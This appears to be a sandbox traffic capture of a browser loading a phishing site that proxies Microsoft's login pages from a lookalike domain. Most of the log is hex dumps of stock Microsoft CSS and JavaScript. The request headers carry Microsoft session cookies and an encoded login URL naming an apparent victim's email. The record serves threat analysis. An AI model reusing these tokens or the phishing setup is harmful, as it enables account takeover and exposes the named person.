2024-11-21 13:45:12 UTC	2861	OUT	GET /aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:13 UTC	734	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4826352 Cache-Control: public, max-age=31536000 Content-MD5: 8N6amNvfqMAnQs5tkvslJA== Content-Type: text/css Date: Thu, 21 Nov 2024 13:45:13 GMT Etag: 0x8DCDDAB171F8006 Last-Modified: Wed, 25 Sep 2024 21:43:27 GMT Server: ECAcc (ska/F6B1) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 881a66a1-401e-002e-3b36-1006d9000000 x-ms-version: 2009-09-19 Content-Length: 113378 Connection: close
2024-11-21 13:45:13 UTC	15650	IN	Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 Data Ascii: /! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed
2024-11-21 13:45:13 UTC	733	IN	Data Raw: 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6c 67 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6c 67 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6c 67 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 73 6d 2d 31 33 2c 2e 63 6f 6c 2d 6d 64 2d 31 33 2c 2e 63 6f 6c 2d 6c 67 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 73 6d 2d 31 34 2c 2e 63 6f 6c 2d 6d 64 2d 31 34 2c 2e 63 6f 6c 2d 6c 67 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 73 6d 2d 31 35 2c 2e 63 6f 6c 2d 6d 64 2d 31 35 2c 2e 63 6f Data Ascii: col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12,.col-xs-13,.col-sm-13,.col-md-13,.col-lg-13,.col-xs-14,.col-sm-14,.col-md-14,.col-lg-14,.col-xs-15,.col-sm-15,.col-md-15,.co
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 73 2d 31 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 2d 78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a Data Ascii: s-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{float:
2024-11-21 13:45:13 UTC	16382	IN	Data Raw: 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f Data Ascii: gin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-sizing:border-box;-moz-bo
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 66 6c 6f 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 Data Ascii: flow-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.ta
2024-11-21 13:45:13 UTC	2	IN	Data Raw: 49 22 Data Ascii: I"
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 2c 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c Data Ascii: ,"Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongol
2024-11-21 13:45:13 UTC	16382	IN	Data Raw: 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 35 64 61 36 7d 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2d 66 6f 63 75 73 2c 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 62 75 74 74 6f 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 35 64 61 36 3b 74 65 78 74 2d 64 65 63 6f 72 61 Data Ascii: :hover{background-color:#005da6}.btn.btn-primary-focus,.btn.btn-primary:focus,button.btn-primary:focus,input[type="button"].btn-primary:focus,input[type="submit"].btn-primary:focus,input[type="reset"].btn-primary:focus{background-color:#005da6;text-decora
2024-11-21 13:45:13 UTC	15077	IN	Data Raw: 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 3b 63 6f 6c 6f 72 3a 23 31 62 31 62 31 62 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 36 70 Data Ascii: n-bottom:20px;margin-top:20px;margin-bottom:1.25rem;margin-top:1.25rem;font-size:24px;line-height:28px;font-weight:300;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px;color:#1b1b1b;font-size:1.5rem;font-weight:600;padding:0;margin-top:16p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49763	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:12 UTC	2838	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:13 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:13 GMT Connection: close
2024-11-21 13:45:13 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-11-21 13:45:13 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", 